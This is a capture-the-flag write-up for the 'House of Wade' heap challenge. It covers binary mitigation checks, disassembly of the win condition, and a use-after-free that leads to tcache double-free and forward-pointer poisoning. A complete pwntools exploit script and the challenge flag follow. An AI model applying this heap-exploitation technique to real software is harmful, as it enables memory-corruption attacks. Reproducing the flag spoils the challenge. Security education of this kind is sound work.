Category: Binary Exploitation
Flag: apoorvctf{w4d3_4ppr0v3s_0f_y0ur_h34p_sk1llz}
Challenge Description
Wade’s running a chimichanga shop with a very special counter hidden somewhere in memory. Find it, set it just right, and maybe — just maybe — he’ll hand over the secret recipe.
Analysis
This one looked like a classic heap challenge from the description alone, and the binary confirmed that quickly. The mitigations were strong enough to rule out lazy stack tricks (canary, NX, Full RELRO), but No PIE immediately meant global addresses are stable and worth targeting.
checksec --file="/home/rei/Downloads/HouseofWade/House of Wade/chall"[*] '/home/rei/Downloads/HouseofWade/House of Wade/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'/home/rei/Downloads/HouseofWade/House of Wade'
SHSTK: Enabled
IBT: Enabled
Stripped: NoThen I pulled key symbols to figure out what “special counter” really was. chimichanga_count at 0x4040c0 stood out instantly, and did_i_pass looked exactly like the prize gate.
readelf -s "/home/rei/Downloads/HouseofWade/House of Wade/chall" | rg "chimichanga_count|orders|did_i_pass|main" 18: 00000000004040c0 8 OBJECT GLOBAL DEFAULT 25 chimichanga_count
48: 00000000004012dd 302 FUNC GLOBAL DEFAULT 16 did_i_pass
50: 000000000040185c 336 FUNC GLOBAL DEFAULT 16 main
52: 00000000004040e0 48 OBJECT GLOBAL DEFAULT 25 ordersDisassembly made the win condition explicit: it dereferences chimichanga_count and compares the 32-bit value there against 0xcafebabe.
objdump -d -M intel --start-address=0x4012dd --stop-address=0x40131c "/home/rei/Downloads/HouseofWade/House of Wade/chall"00000000004012dd <did_i_pass>:
4012fb: 48 8b 05 be 2d 00 00 mov rax,QWORD PTR [rip+0x2dbe] # 4040c0 <chimichanga_count>
401302: 48 85 c0 test rax,rax
40130b: 48 8b 05 ae 2d 00 00 mov rax,QWORD PTR [rip+0x2dae] # 4040c0 <chimichanga_count>
401312: 8b 00 mov eax,DWORD PTR [rax]
401314: 3d be ba fe ca cmp eax,0xcafebabeOnce that was clear, the solve became “get a write at/near 0x4040c0.” The menu logic had exactly the bug we needed: cancel_order frees a chunk but never nulls the slot, and modify_order still writes to that dangling pointer. That gives a UAF write on freed tcache chunks. First attempt with a single free and poison looked elegant but failed because tcache count semantics meant the poisoned forward pointer never got consumed.

The working approach was a controlled double-free pattern: free once, leak the safe-linking key from the freed chunk, corrupt the tcache key byte to bypass double-free detection, free again, poison the fd, then allocate twice so the second allocation lands on the global target. After that, writing p64(0x4040c8) + p32(0xcafebabe) into the poisoned allocation made chimichanga_count point to controlled data containing the magic value. Claiming the prize then printed the flag from /flag.txt.
When it finally lined up remotely and printed the flag, that was a very satisfying heap moment.

Solution
# exploit.py
from pwn import *
import re
HOST = "chals1.apoorvctf.xyz"
PORT = 6001
CHALL = "/home/rei/Downloads/HouseofWade/House of Wade/chall"
context.log_level = "info"
context.binary = ELF(CHALL, checksec=False)
TARGET_PTR = 0x4040C0 # chimichanga_count
FAKE_COUNTER = 0x4040C8 # writable address for 0xcafebabe
def start():
return remote(HOST, PORT)
def menu(io, n: int):
io.sendlineafter(b"> ", str(n).encode())
def send_slot(io, idx: int):
io.sendlineafter(b"Slot: ", str(idx).encode())
def new_order(io):
menu(io, 1)
def cancel(io, idx: int):
menu(io, 2)
send_slot(io, idx)
def inspect_order(io, idx: int) -> bytes:
menu(io, 3)
send_slot(io, idx)
io.recvuntil(b'off."\n')
return io.recvn(0x28)
def modify(io, idx: int, data: bytes):
menu(io, 4)
send_slot(io, idx)
io.send(data + b"\n")
def claim(io):
menu(io, 5)
def attempt_once() -> str | None:
io = start()
try:
new_order(io) # slot 0 = A
cancel(io, 0) # free A
leak = inspect_order(io, 0)
key = u64(leak[:8])
# bypass tcache double-free key check
modify(io, 0, b"A" * 8 + b"B")
cancel(io, 0) # free A again
poisoned_fd = TARGET_PTR ^ key
enc = p64(poisoned_fd)
if b"\n" in enc:
return None
modify(io, 0, enc)
new_order(io) # slot 1 -> A
new_order(io) # slot 2 -> TARGET_PTR
payload = flat(
p64(FAKE_COUNTER),
p32(0xCAFEBABE),
)
modify(io, 2, payload)
claim(io)
out = io.recvrepeat()
m = re.search(rb"[A-Za-z0-9_]+\{[^}]+\}", out)
return m.group(0).decode() if m else None
finally:
io.close()
def main():
for _ in range(20):
flag = attempt_once()
if flag:
print(flag)
return
raise SystemExit("Exploit attempts exhausted without flag")
if __name__ == "__main__":
main()python /home/rei/Downloads/HouseofWade/exploit.py[+] flag: apoorvctf{w4d3_4ppr0v3s_0f_y0ur_h34p_sk1llz}
apoorvctf{w4d3_4ppr0v3s_0f_y0ur_h34p_sk1llz}